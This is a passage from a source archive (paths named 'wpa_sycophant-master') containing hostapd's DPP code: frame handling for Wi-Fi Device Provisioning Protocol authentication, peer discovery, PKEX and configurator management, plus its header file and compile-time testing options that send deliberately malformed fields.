hapd->dpp_auth = NULL; } static void hostapd_dpp_start_gas_client(struct hostapd_data *hapd) { struct dpp_authentication *auth = hapd->dpp_auth; struct wpabuf *buf, *conf_req; char json[100]; int res; int netrole_ap = 1; os_snprintf(json, sizeof(json), "{\"name\":\"Test\"," "\"wi-fi_tech\":\"infra\"," "\"netRole\":\"%s\"}", netrole_ap ? "ap" : "sta"); wpa_printf(MSG_DEBUG, "DPP: GAS Config Attributes: %s", json); conf_req = dpp_build_conf_req(auth, json); if (!conf_req) { wpa_printf(MSG_DEBUG, "DPP: No configuration request data available"); return; } buf = gas_build_initial_req(0, 10 + 2 + wpabuf_len(conf_req)); if (!buf) { wpabuf_free(conf_req); return; } /* Advertisement Protocol IE */ wpabuf_put_u8(buf, WLAN_EID_ADV_PROTO); wpabuf_put_u8(buf, 8); /* Length */ wpabuf_put_u8(buf, 0x7f); wpabuf_put_u8(buf, WLAN_EID_VENDOR_SPECIFIC); wpabuf_put_u8(buf, 5); wpabuf_put_be24(buf, OUI_WFA); wpabuf_put_u8(buf, DPP_OUI_TYPE); wpabuf_put_u8(buf, 0x01); /* GAS Query */ wpabuf_put_le16(buf, wpabuf_len(conf_req)); wpabuf_put_buf(buf, conf_req); wpabuf_free(conf_req); wpa_printf(MSG_DEBUG, "DPP: GAS request to " MACSTR " (freq %u MHz)", MAC2STR(auth->peer_mac_addr), auth->curr_freq); res = gas_query_ap_req(hapd->gas, auth->peer_mac_addr, auth->curr_freq, buf, hostapd_dpp_gas_resp_cb, hapd); if (res < 0) { wpa_msg(hapd->msg_ctx, MSG_DEBUG, "GAS: Failed to send Query Request"); wpabuf_free(buf); } else { wpa_printf(MSG_DEBUG, "DPP: GAS query started with dialog token %u", res); } } static void hostapd_dpp_auth_success(struct hostapd_data *hapd, int initiator) { wpa_printf(MSG_DEBUG, "DPP: Authentication succeeded"); wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_AUTH_SUCCESS "init=%d", initiator); #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_STOP_AT_AUTH_CONF) { wpa_printf(MSG_INFO, "DPP: TESTING - stop at Authentication Confirm"); if (hapd->dpp_auth->configurator) { /* Prevent GAS response */ hapd->dpp_auth->auth_success = 0; } return; } #endif /* CONFIG_TESTING_OPTIONS */ if (!hapd->dpp_auth->configurator) hostapd_dpp_start_gas_client(hapd); } static void hostapd_dpp_rx_auth_resp(struct hostapd_data *hapd, const u8 *src, const u8 *hdr, const u8 *buf, size_t len, unsigned int freq) { struct dpp_authentication *auth = hapd->dpp_auth; struct wpabuf *msg; wpa_printf(MSG_DEBUG, "DPP: Authentication Response from " MACSTR, MAC2STR(src)); if (!auth) { wpa_printf(MSG_DEBUG, "DPP: No DPP Authentication in progress - drop"); return; } if (!is_zero_ether_addr(auth->peer_mac_addr) && os_memcmp(src, auth->peer_mac_addr, ETH_ALEN) != 0) { wpa_printf(MSG_DEBUG, "DPP: MAC address mismatch (expected " MACSTR ") - drop", MAC2STR(auth->peer_mac_addr)); return; } eloop_cancel_timeout(hostapd_dpp_reply_wait_timeout, hapd, NULL); if (auth->curr_freq != freq && auth->neg_freq == freq) { wpa_printf(MSG_DEBUG, "DPP: Responder accepted request for different negotiation channel"); auth->curr_freq = freq; } eloop_cancel_timeout(hostapd_dpp_init_timeout, hapd, NULL); msg = dpp_auth_resp_rx(auth, hdr, buf, len); if (!msg) { if (auth->auth_resp_status == DPP_STATUS_RESPONSE_PENDING) { wpa_printf(MSG_DEBUG, "DPP: Wait for full response"); return; } wpa_printf(MSG_DEBUG, "DPP: No confirm generated"); return; } os_memcpy(auth->peer_mac_addr, src, ETH_ALEN); wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_TX "dst=" MACSTR " freq=%u type=%d", MAC2STR(src), auth->curr_freq, DPP_PA_AUTHENTICATION_CONF); hostapd_drv_send_action(hapd, auth->curr_freq, 0, src, wpabuf_head(msg), wpabuf_len(msg)); wpabuf_free(msg); hapd->dpp_auth_ok_on_ack = 1; } static void hostapd_dpp_rx_auth_conf(struct hostapd_data *hapd, const u8 *src, const u8 *hdr, const u8 *buf, size_t len) { struct dpp_authentication *auth = hapd->dpp_auth; wpa_printf(MSG_DEBUG, "DPP: Authentication Confirmation from " MACSTR, MAC2STR(src)); if (!auth) { wpa_printf(MSG_DEBUG, "DPP: No DPP Authentication in progress - drop"); return; } if (os_memcmp(src, auth->peer_mac_addr, ETH_ALEN) != 0) { wpa_printf(MSG_DEBUG, "DPP: MAC address mismatch (expected " MACSTR ") - drop", MAC2STR(auth->peer_mac_addr)); return; } if (dpp_auth_conf_rx(auth, hdr, buf, len) < 0) { wpa_printf(MSG_DEBUG, "DPP: Authentication failed"); return; } hostapd_dpp_auth_success(hapd, 0); } static void hostapd_dpp_send_peer_disc_resp(struct hostapd_data *hapd, const u8 *src, unsigned int freq, u8 trans_id, enum dpp_status_error status) { struct wpabuf *msg; msg = dpp_alloc_msg(DPP_PA_PEER_DISCOVERY_RESP, 5 + 5 + 4 + os_strlen(hapd->conf->dpp_connector)); if (!msg) return; #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_NO_TRANSACTION_ID_PEER_DISC_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - no Transaction ID"); goto skip_trans_id; } if (dpp_test == DPP_TEST_INVALID_TRANSACTION_ID_PEER_DISC_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - invalid Transaction ID"); trans_id ^= 0x01; } #endif /* CONFIG_TESTING_OPTIONS */ /* Transaction ID */ wpabuf_put_le16(msg, DPP_ATTR_TRANSACTION_ID); wpabuf_put_le16(msg, 1); wpabuf_put_u8(msg, trans_id); #ifdef CONFIG_TESTING_OPTIONS skip_trans_id: if (dpp_test == DPP_TEST_NO_STATUS_PEER_DISC_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - no Status"); goto skip_status; } if (dpp_test == DPP_TEST_INVALID_STATUS_PEER_DISC_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - invalid Status"); status = 254; } #endif /* CONFIG_TESTING_OPTIONS */ /* DPP Status */ wpabuf_put_le16(msg, DPP_ATTR_STATUS); wpabuf_put_le16(msg, 1); wpabuf_put_u8(msg, status); #ifdef CONFIG_TESTING_OPTIONS skip_status: if (dpp_test == DPP_TEST_NO_CONNECTOR_PEER_DISC_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - no Connector"); goto skip_connector; } if (status == DPP_STATUS_OK && dpp_test == DPP_TEST_INVALID_CONNECTOR_PEER_DISC_RESP) { char *connector; wpa_printf(MSG_INFO, "DPP: TESTING - invalid Connector"); connector = dpp_corrupt_connector_signature( hapd->conf->dpp_connector); if (!connector) { wpabuf_free(msg); return; } wpabuf_put_le16(msg, DPP_ATTR_CONNECTOR); wpabuf_put_le16(msg, os_strlen(connector)); wpabuf_put_str(msg, connector); os_free(connector); goto skip_connector; } #endif /* CONFIG_TESTING_OPTIONS */ /* DPP Connector */ if (status == DPP_STATUS_OK) { wpabuf_put_le16(msg, DPP_ATTR_CONNECTOR); wpabuf_put_le16(msg, os_strlen(hapd->conf->dpp_connector)); wpabuf_put_str(msg, hapd->conf->dpp_connector); } #ifdef CONFIG_TESTING_OPTIONS skip_connector: #endif /* CONFIG_TESTING_OPTIONS */ wpa_printf(MSG_DEBUG, "DPP: Send Peer Discovery Response to " MACSTR " status=%d", MAC2STR(src), status); wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_TX "dst=" MACSTR " freq=%u type=%d status=%d", MAC2STR(src), freq, DPP_PA_PEER_DISCOVERY_RESP, status); hostapd_drv_send_action(hapd, freq, 0, src, wpabuf_head(msg), wpabuf_len(msg)); wpabuf_free(msg); } static void hostapd_dpp_rx_peer_disc_req(struct hostapd_data *hapd, const u8 *src, const u8 *buf, size_t len, unsigned int freq) { const u8 *connector, *trans_id; u16 connector_len, trans_id_len; struct os_time now; struct dpp_introduction intro; os_time_t expire; int expiration; enum dpp_status_error res; wpa_printf(MSG_DEBUG, "DPP: Peer Discovery Request from " MACSTR, MAC2STR(src)); if (!hapd->wpa_auth || !(hapd->conf->wpa_key_mgmt & WPA_KEY_MGMT_DPP) || !(hapd->conf->wpa & WPA_PROTO_RSN)) { wpa_printf(MSG_DEBUG, "DPP: DPP AKM not in use"); return; } if (!hapd->conf->dpp_connector || !hapd->conf->dpp_netaccesskey || !hapd->conf->dpp_csign) { wpa_printf(MSG_DEBUG, "DPP: No own Connector/keys set"); return; } os_get_time(&now); if (hapd->conf->dpp_netaccesskey_expiry && (os_time_t) hapd->conf->dpp_netaccesskey_expiry < now.sec) { wpa_printf(MSG_INFO, "DPP: Own netAccessKey expired"); return; } trans_id = dpp_get_attr(buf, len, DPP_ATTR_TRANSACTION_ID, &trans_id_len); if (!trans_id || trans_id_len != 1) { wpa_printf(MSG_DEBUG, "DPP: Peer did not include Transaction ID"); return; } connector = dpp_get_attr(buf, len, DPP_ATTR_CONNECTOR, &connector_len); if (!connector) { wpa_printf(MSG_DEBUG, "DPP: Peer did not include its Connector"); return; } res = dpp_peer_intro(&intro, hapd->conf->dpp_connector, wpabuf_head(hapd->conf->dpp_netaccesskey), wpabuf_len(hapd->conf->dpp_netaccesskey), wpabuf_head(hapd->conf->dpp_csign), wpabuf_len(hapd->conf->dpp_csign), connector, connector_len, &expire); if (res == 255) { wpa_printf(MSG_INFO, "DPP: Network Introduction protocol resulted in internal failure (peer " MACSTR ")", MAC2STR(src)); return; } if (res != DPP_STATUS_OK) { wpa_printf(MSG_INFO, "DPP: Network Introduction protocol resulted in failure (peer " MACSTR " status %d)", MAC2STR(src), res); hostapd_dpp_send_peer_disc_resp(hapd, src, freq, trans_id[0], res); return; } if (!expire || (os_time_t) hapd->conf->dpp_netaccesskey_expiry < expire) expire = hapd->conf->dpp_netaccesskey_expiry; if (expire) expiration = expire - now.sec; else expiration = 0; if (wpa_auth_pmksa_add2(hapd->wpa_auth, src, intro.pmk, intro.pmk_len, intro.pmkid, expiration, WPA_KEY_MGMT_DPP) < 0) { wpa_printf(MSG_ERROR, "DPP: Failed to add PMKSA cache entry"); return; } hostapd_dpp_send_peer_disc_resp(hapd, src, freq, trans_id[0], DPP_STATUS_OK); } static void hostapd_dpp_rx_pkex_exchange_req(struct hostapd_data *hapd, const u8 *src, const u8 *buf, size_t len, unsigned int freq) { struct wpabuf *msg; wpa_printf(MSG_DEBUG, "DPP: PKEX Exchange Request from " MACSTR, MAC2STR(src)); /* TODO: Support multiple PKEX codes by iterating over all the enabled * values here */ if (!hapd->dpp_pkex_code || !hapd->dpp_pkex_bi) { wpa_printf(MSG_DEBUG, "DPP: No PKEX code configured - ignore request"); return; } if (hapd->dpp_pkex) { /* TODO: Support parallel operations */ wpa_printf(MSG_DEBUG, "DPP: Already in PKEX session - ignore new request"); return; } hapd->dpp_pkex = dpp_pkex_rx_exchange_req(hapd->msg_ctx, hapd->dpp_pkex_bi, hapd->own_addr, src, hapd->dpp_pkex_identifier, hapd->dpp_pkex_code, buf, len); if (!hapd->dpp_pkex) { wpa_printf(MSG_DEBUG, "DPP: Failed to process the request - ignore it"); return; } msg = hapd->dpp_pkex->exchange_resp; wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_TX "dst=" MACSTR " freq=%u type=%d", MAC2STR(src), freq, DPP_PA_PKEX_EXCHANGE_RESP); hostapd_drv_send_action(hapd, freq, 0, src, wpabuf_head(msg), wpabuf_len(msg)); if (hapd->dpp_pkex->failed) { wpa_printf(MSG_DEBUG, "DPP: Terminate PKEX exchange due to an earlier error"); if (hapd->dpp_pkex->t > hapd->dpp_pkex->own_bi->pkex_t) hapd->dpp_pkex->own_bi->pkex_t = hapd->dpp_pkex->t; dpp_pkex_free(hapd->dpp_pkex); hapd->dpp_pkex = NULL; } } static void hostapd_dpp_rx_pkex_exchange_resp(struct hostapd_data *hapd, const u8 *src, const u8 *buf, size_t len, unsigned int freq) { struct wpabuf *msg; wpa_printf(MSG_DEBUG, "DPP: PKEX Exchange Response from " MACSTR, MAC2STR(src)); /* TODO: Support multiple PKEX codes by iterating over all the enabled * values here */ if (!hapd->dpp_pkex || !hapd->dpp_pkex->initiator || hapd->dpp_pkex->exchange_done) { wpa_printf(MSG_DEBUG, "DPP: No matching PKEX session"); return; } msg = dpp_pkex_rx_exchange_resp(hapd->dpp_pkex, src, buf, len); if (!msg) { wpa_printf(MSG_DEBUG, "DPP: Failed to process the response"); return; } wpa_printf(MSG_DEBUG, "DPP: Send PKEX Commit-Reveal Request to " MACSTR, MAC2STR(src)); wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_TX "dst=" MACSTR " freq=%u type=%d", MAC2STR(src), freq, DPP_PA_PKEX_COMMIT_REVEAL_REQ); hostapd_drv_send_action(hapd, freq, 0, src, wpabuf_head(msg), wpabuf_len(msg)); wpabuf_free(msg); } static void hostapd_dpp_rx_pkex_commit_reveal_req(struct hostapd_data *hapd, const u8 *src, const u8 *hdr, const u8 *buf, size_t len, unsigned int freq) { struct wpabuf *msg; struct dpp_pkex *pkex = hapd->dpp_pkex; struct dpp_bootstrap_info *bi; wpa_printf(MSG_DEBUG, "DPP: PKEX Commit-Reveal Request from " MACSTR, MAC2STR(src)); if (!pkex || pkex->initiator || !pkex->exchange_done) { wpa_printf(MSG_DEBUG, "DPP: No matching PKEX session"); return; } msg = dpp_pkex_rx_commit_reveal_req(pkex, hdr, buf, len); if (!msg) { wpa_printf(MSG_DEBUG, "DPP: Failed to process the request"); if (hapd->dpp_pkex->failed) { wpa_printf(MSG_DEBUG, "DPP: Terminate PKEX exchange"); if (hapd->dpp_pkex->t > hapd->dpp_pkex->own_bi->pkex_t) hapd->dpp_pkex->own_bi->pkex_t = hapd->dpp_pkex->t; dpp_pkex_free(hapd->dpp_pkex); hapd->dpp_pkex = NULL; } return; } wpa_printf(MSG_DEBUG, "DPP: Send PKEX Commit-Reveal Response to " MACSTR, MAC2STR(src)); wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_TX "dst=" MACSTR " freq=%u type=%d", MAC2STR(src), freq, DPP_PA_PKEX_COMMIT_REVEAL_RESP); hostapd_drv_send_action(hapd, freq, 0, src, wpabuf_head(msg), wpabuf_len(msg)); wpabuf_free(msg); bi = os_zalloc(sizeof(*bi)); if (!bi) return; bi->id = hapd_dpp_next_id(hapd); bi->type = DPP_BOOTSTRAP_PKEX; os_memcpy(bi->mac_addr, src, ETH_ALEN); bi->num_freq = 1; bi->freq[0] = freq; bi->curve = pkex->own_bi->curve; bi->pubkey = pkex->peer_bootstrap_key; pkex->peer_bootstrap_key = NULL; dpp_pkex_free(pkex); hapd->dpp_pkex = NULL; if (dpp_bootstrap_key_hash(bi) < 0) { dpp_bootstrap_info_free(bi); return; } dl_list_add(&hapd->iface->interfaces->dpp_bootstrap, &bi->list); } static void hostapd_dpp_rx_pkex_commit_reveal_resp(struct hostapd_data *hapd, const u8 *src, const u8 *hdr, const u8 *buf, size_t len, unsigned int freq) { int res; struct dpp_bootstrap_info *bi, *own_bi; struct dpp_pkex *pkex = hapd->dpp_pkex; char cmd[500]; wpa_printf(MSG_DEBUG, "DPP: PKEX Commit-Reveal Response from " MACSTR, MAC2STR(src)); if (!pkex || !pkex->initiator || !pkex->exchange_done) { wpa_printf(MSG_DEBUG, "DPP: No matching PKEX session"); return; } res = dpp_pkex_rx_commit_reveal_resp(pkex, hdr, buf, len); if (res < 0) { wpa_printf(MSG_DEBUG, "DPP: Failed to process the response"); return; } own_bi = pkex->own_bi; bi = os_zalloc(sizeof(*bi)); if (!bi) return; bi->id = hapd_dpp_next_id(hapd); bi->type = DPP_BOOTSTRAP_PKEX; os_memcpy(bi->mac_addr, src, ETH_ALEN); bi->num_freq = 1; bi->freq[0] = freq; bi->curve = own_bi->curve; bi->pubkey = pkex->peer_bootstrap_key; pkex->peer_bootstrap_key = NULL; dpp_pkex_free(pkex); hapd->dpp_pkex = NULL; if (dpp_bootstrap_key_hash(bi) < 0) { dpp_bootstrap_info_free(bi); return; } dl_list_add(&hapd->iface->interfaces->dpp_bootstrap, &bi->list); os_snprintf(cmd, sizeof(cmd), " peer=%u %s", bi->id, hapd->dpp_pkex_auth_cmd ? hapd->dpp_pkex_auth_cmd : ""); wpa_printf(MSG_DEBUG, "DPP: Start authentication after PKEX with parameters: %s", cmd); if (hostapd_dpp_auth_init(hapd, cmd) < 0) { wpa_printf(MSG_DEBUG, "DPP: Authentication initialization failed"); return; } } void hostapd_dpp_rx_action(struct hostapd_data *hapd, const u8 *src, const u8 *buf, size_t len, unsigned int freq) { u8 crypto_suite; enum dpp_public_action_frame_type type; const u8 *hdr; unsigned int pkex_t; if (len < DPP_HDR_LEN) return; if (WPA_GET_BE24(buf) != OUI_WFA || buf[3] != DPP_OUI_TYPE) return; hdr = buf; buf += 4; len -= 4; crypto_suite = *buf++; type = *buf++; len -= 2; wpa_printf(MSG_DEBUG, "DPP: Received DPP Public Action frame crypto suite %u type %d from " MACSTR " freq=%u", crypto_suite, type, MAC2STR(src), freq); if (crypto_suite != 1) { wpa_printf(MSG_DEBUG, "DPP: Unsupported crypto suite %u", crypto_suite); wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_RX "src=" MACSTR " freq=%u type=%d ignore=unsupported-crypto-suite", MAC2STR(src), freq, type); return; } wpa_hexdump(MSG_MSGDUMP, "DPP: Received message attributes", buf, len); if (dpp_check_attrs(buf, len) < 0) { wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_RX "src=" MACSTR " freq=%u type=%d ignore=invalid-attributes", MAC2STR(src), freq, type); return; } wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_RX "src=" MACSTR " freq=%u type=%d", MAC2STR(src), freq, type); switch (type) { case DPP_PA_AUTHENTICATION_REQ: hostapd_dpp_rx_auth_req(hapd, src, hdr, buf, len, freq); break; case DPP_PA_AUTHENTICATION_RESP: hostapd_dpp_rx_auth_resp(hapd, src, hdr, buf, len, freq); break; case DPP_PA_AUTHENTICATION_CONF: hostapd_dpp_rx_auth_conf(hapd, src, hdr, buf, len); break; case DPP_PA_PEER_DISCOVERY_REQ: hostapd_dpp_rx_peer_disc_req(hapd, src, buf, len, freq); break; case DPP_PA_PKEX_EXCHANGE_REQ: hostapd_dpp_rx_pkex_exchange_req(hapd, src, buf, len, freq); break; case DPP_PA_PKEX_EXCHANGE_RESP: hostapd_dpp_rx_pkex_exchange_resp(hapd, src, buf, len, freq); break; case DPP_PA_PKEX_COMMIT_REVEAL_REQ: hostapd_dpp_rx_pkex_commit_reveal_req(hapd, src, hdr, buf, len, freq); break; case DPP_PA_PKEX_COMMIT_REVEAL_RESP: hostapd_dpp_rx_pkex_commit_reveal_resp(hapd, src, hdr, buf, len, freq); break; default: wpa_printf(MSG_DEBUG, "DPP: Ignored unsupported frame subtype %d", type); break; } if (hapd->dpp_pkex) pkex_t = hapd->dpp_pkex->t; else if (hapd->dpp_pkex_bi) pkex_t = hapd->dpp_pkex_bi->pkex_t; else pkex_t = 0; if (pkex_t >= PKEX_COUNTER_T_LIMIT) { wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_PKEX_T_LIMIT "id=0"); hostapd_dpp_pkex_remove(hapd, "*"); } } struct wpabuf * hostapd_dpp_gas_req_handler(struct hostapd_data *hapd, const u8 *sa, const u8 *query, size_t query_len) { struct dpp_authentication *auth = hapd->dpp_auth; struct wpabuf *resp; wpa_printf(MSG_DEBUG, "DPP: GAS request from " MACSTR, MAC2STR(sa)); if (!auth || !auth->auth_success || os_memcmp(sa, auth->peer_mac_addr, ETH_ALEN) != 0) { wpa_printf(MSG_DEBUG, "DPP: No matching exchange in progress"); return NULL; } wpa_hexdump(MSG_DEBUG, "DPP: Received Configuration Request (GAS Query Request)", query, query_len); wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_CONF_REQ_RX "src=" MACSTR, MAC2STR(sa)); resp = dpp_conf_req_rx(auth, query, query_len); if (!resp) wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_CONF_FAILED); return resp; } void hostapd_dpp_gas_status_handler(struct hostapd_data *hapd, int ok) { if (!hapd->dpp_auth) return; eloop_cancel_timeout(hostapd_dpp_reply_wait_timeout, hapd, NULL); eloop_cancel_timeout(hostapd_dpp_auth_resp_retry_timeout, hapd, NULL); hostapd_drv_send_action_cancel_wait(hapd); if (ok) wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_CONF_SENT); else wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_CONF_FAILED); dpp_auth_deinit(hapd->dpp_auth); hapd->dpp_auth = NULL; } static unsigned int hostapd_dpp_next_configurator_id(struct hostapd_data *hapd) { struct dpp_configurator *conf; unsigned int max_id = 0; dl_list_for_each(conf, &hapd->iface->interfaces->dpp_configurator, struct dpp_configurator, list) { if (conf->id > max_id) max_id = conf->id; } return max_id + 1; } int hostapd_dpp_configurator_add(struct hostapd_data *hapd, const char *cmd) { char *curve = NULL; char *key = NULL; u8 *privkey = NULL; size_t privkey_len = 0; int ret = -1; struct dpp_configurator *conf = NULL; curve = get_param(cmd, " curve="); key = get_param(cmd, " key="); if (key) { privkey_len = os_strlen(key) / 2; privkey = os_malloc(privkey_len); if (!privkey || hexstr2bin(key, privkey, privkey_len) < 0) goto fail; } conf = dpp_keygen_configurator(curve, privkey, privkey_len); if (!conf) goto fail; conf->id = hostapd_dpp_next_configurator_id(hapd); dl_list_add(&hapd->iface->interfaces->dpp_configurator, &conf->list); ret = conf->id; conf = NULL; fail: os_free(curve); str_clear_free(key); bin_clear_free(privkey, privkey_len); dpp_configurator_free(conf); return ret; } static int dpp_configurator_del(struct hapd_interfaces *ifaces, unsigned int id) { struct dpp_configurator *conf, *tmp; int found = 0; dl_list_for_each_safe(conf, tmp, &ifaces->dpp_configurator, struct dpp_configurator, list) { if (id && conf->id != id) continue; found = 1; dl_list_del(&conf->list); dpp_configurator_free(conf); } if (id == 0) return 0; /* flush succeeds regardless of entries found */ return found ? 0 : -1; } int hostapd_dpp_configurator_remove(struct hostapd_data *hapd, const char *id) { unsigned int id_val; if (os_strcmp(id, "*") == 0) { id_val = 0; } else { id_val = atoi(id); if (id_val == 0) return -1; } return dpp_configurator_del(hapd->iface->interfaces, id_val); } int hostapd_dpp_configurator_sign(struct hostapd_data *hapd, const char *cmd) { struct dpp_authentication *auth; int ret = -1; char *curve = NULL; auth = os_zalloc(sizeof(*auth)); if (!auth) return -1; curve = get_param(cmd, " curve="); hostapd_dpp_set_configurator(hapd, auth, cmd); if (dpp_configurator_own_config(auth, curve, 1) == 0) { hostapd_dpp_handle_config_obj(hapd, auth); ret = 0; } dpp_auth_deinit(auth); os_free(curve); return ret; } int hostapd_dpp_configurator_get_key(struct hostapd_data *hapd, unsigned int id, char *buf, size_t buflen) { struct dpp_configurator *conf; conf = hostapd_dpp_configurator_get_id(hapd, id); if (!conf) return -1; return dpp_configurator_get_key(conf, buf, buflen); } int hostapd_dpp_pkex_add(struct hostapd_data *hapd, const char *cmd) { struct dpp_bootstrap_info *own_bi; const char *pos, *end; pos = os_strstr(cmd, " own="); if (!pos) return -1; pos += 5; own_bi = dpp_bootstrap_get_id(hapd, atoi(pos)); if (!own_bi) { wpa_printf(MSG_DEBUG, "DPP: Identified bootstrap info not found"); return -1; } if (own_bi->type != DPP_BOOTSTRAP_PKEX) { wpa_printf(MSG_DEBUG, "DPP: Identified bootstrap info not for PKEX"); return -1; } hapd->dpp_pkex_bi = own_bi; own_bi->pkex_t = 0; /* clear pending errors on new code */ os_free(hapd->dpp_pkex_identifier); hapd->dpp_pkex_identifier = NULL; pos = os_strstr(cmd, " identifier="); if (pos) { pos += 12; end = os_strchr(pos, ' '); if (!end) return -1; hapd->dpp_pkex_identifier = os_malloc(end - pos + 1); if (!hapd->dpp_pkex_identifier) return -1; os_memcpy(hapd->dpp_pkex_identifier, pos, end - pos); hapd->dpp_pkex_identifier[end - pos] = '\0'; } pos = os_strstr(cmd, " code="); if (!pos) return -1; os_free(hapd->dpp_pkex_code); hapd->dpp_pkex_code = os_strdup(pos + 6); if (!hapd->dpp_pkex_code) return -1; if (os_strstr(cmd, " init=1")) { struct wpabuf *msg; wpa_printf(MSG_DEBUG, "DPP: Initiating PKEX"); dpp_pkex_free(hapd->dpp_pkex); hapd->dpp_pkex = dpp_pkex_init(hapd->msg_ctx, own_bi, hapd->own_addr, hapd->dpp_pkex_identifier, hapd->dpp_pkex_code); if (!hapd->dpp_pkex) return -1; msg = hapd->dpp_pkex->exchange_req; /* TODO: Which channel to use? */ wpa_msg(hapd->msg_ctx, MSG_INFO, DPP_EVENT_TX "dst=" MACSTR " freq=%u type=%d", MAC2STR(broadcast), 2437, DPP_PA_PKEX_EXCHANGE_REQ); hostapd_drv_send_action(hapd, 2437, 0, broadcast, wpabuf_head(msg), wpabuf_len(msg)); } /* TODO: Support multiple PKEX info entries */ os_free(hapd->dpp_pkex_auth_cmd); hapd->dpp_pkex_auth_cmd = os_strdup(cmd); return 1; } int hostapd_dpp_pkex_remove(struct hostapd_data *hapd, const char *id) { unsigned int id_val; if (os_strcmp(id, "*") == 0) { id_val = 0; } else { id_val = atoi(id); if (id_val == 0) return -1; } if ((id_val != 0 && id_val != 1) || !hapd->dpp_pkex_code) return -1; /* TODO: Support multiple PKEX entries */ os_free(hapd->dpp_pkex_code); hapd->dpp_pkex_code = NULL; os_free(hapd->dpp_pkex_identifier); hapd->dpp_pkex_identifier = NULL; os_free(hapd->dpp_pkex_auth_cmd); hapd->dpp_pkex_auth_cmd = NULL; hapd->dpp_pkex_bi = NULL; /* TODO: Remove dpp_pkex only if it is for the identified PKEX code */ dpp_pkex_free(hapd->dpp_pkex); hapd->dpp_pkex = NULL; return 0; } void hostapd_dpp_stop(struct hostapd_data *hapd) { dpp_auth_deinit(hapd->dpp_auth); hapd->dpp_auth = NULL; dpp_pkex_free(hapd->dpp_pkex); hapd->dpp_pkex = NULL; } int hostapd_dpp_init(struct hostapd_data *hapd) { hapd->dpp_allowed_roles = DPP_CAPAB_CONFIGURATOR | DPP_CAPAB_ENROLLEE; hapd->dpp_init_done = 1; return 0; } void hostapd_dpp_deinit(struct hostapd_data *hapd) { #ifdef CONFIG_TESTING_OPTIONS os_free(hapd->dpp_config_obj_override); hapd->dpp_config_obj_override = NULL; os_free(hapd->dpp_discovery_override); hapd->dpp_discovery_override = NULL; os_free(hapd->dpp_groups_override); hapd->dpp_groups_override = NULL; hapd->dpp_ignore_netaccesskey_mismatch = 0; #endif /* CONFIG_TESTING_OPTIONS */ if (!hapd->dpp_init_done) return; eloop_cancel_timeout(hostapd_dpp_reply_wait_timeout, hapd, NULL); eloop_cancel_timeout(hostapd_dpp_init_timeout, hapd, NULL); eloop_cancel_timeout(hostapd_dpp_auth_resp_retry_timeout, hapd, NULL); dpp_auth_deinit(hapd->dpp_auth); hapd->dpp_auth = NULL; hostapd_dpp_pkex_remove(hapd, "*"); hapd->dpp_pkex = NULL; os_free(hapd->dpp_configurator_params); hapd->dpp_configurator_params = NULL; } void hostapd_dpp_init_global(struct hapd_interfaces *ifaces) { dl_list_init(&ifaces->dpp_bootstrap); dl_list_init(&ifaces->dpp_configurator); ifaces->dpp_init_done = 1; } void hostapd_dpp_deinit_global(struct hapd_interfaces *ifaces) { if (!ifaces->dpp_init_done) return; dpp_bootstrap_del(ifaces, 0); dpp_configurator_del(ifaces, 0); } wpa_sycophant-master/src/ap/dpp_hostapd.h000066400000000000000000000040561377436615100211150ustar00rootroot00000000000000/* * hostapd / DPP integration * Copyright (c) 2017, Qualcomm Atheros, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef DPP_HOSTAPD_H #define DPP_HOSTAPD_H int hostapd_dpp_qr_code(struct hostapd_data *hapd, const char *cmd); int hostapd_dpp_bootstrap_gen(struct hostapd_data *hapd, const char *cmd); int hostapd_dpp_bootstrap_remove(struct hostapd_data *hapd, const char *id); const char * hostapd_dpp_bootstrap_get_uri(struct hostapd_data *hapd, unsigned int id); int hostapd_dpp_bootstrap_info(struct hostapd_data *hapd, int id, char *reply, int reply_size); int hostapd_dpp_auth_init(struct hostapd_data *hapd, const char *cmd); int hostapd_dpp_listen(struct hostapd_data *hapd, const char *cmd); void hostapd_dpp_listen_stop(struct hostapd_data *hapd); void hostapd_dpp_rx_action(struct hostapd_data *hapd, const u8 *src, const u8 *buf, size_t len, unsigned int freq); void hostapd_dpp_tx_status(struct hostapd_data *hapd, const u8 *dst, const u8 *data, size_t data_len, int ok); struct wpabuf * hostapd_dpp_gas_req_handler(struct hostapd_data *hapd, const u8 *sa, const u8 *query, size_t query_len); void hostapd_dpp_gas_status_handler(struct hostapd_data *hapd, int ok); int hostapd_dpp_configurator_add(struct hostapd_data *hapd, const char *cmd); int hostapd_dpp_configurator_remove(struct hostapd_data *hapd, const char *id); int hostapd_dpp_configurator_sign(struct hostapd_data *hapd, const char *cmd); int hostapd_dpp_configurator_get_key(struct hostapd_data *hapd, unsigned int id, char *buf, size_t buflen); int hostapd_dpp_pkex_add(struct hostapd_data *hapd, const char *cmd); int hostapd_dpp_pkex_remove(struct hostapd_data *hapd, const char *id); void hostapd_dpp_stop(struct hostapd_data *hapd); int hostapd_dpp_init(struct hostapd_data *hapd); void hostapd_dpp_deinit(struct hostapd_data *hapd); void hostapd_dpp_init_global(struct hapd_interfaces *ifaces); void hostapd_dpp_deinit_global(struct hapd_interfaces *ifaces); #endif /* DPP_HOSTAPD_H */ wpa_sycophant-master/src/ap/drv_callbacks.c000066400000000000000000001366261377436615100214060ustar00rootroot00000000000000/* * 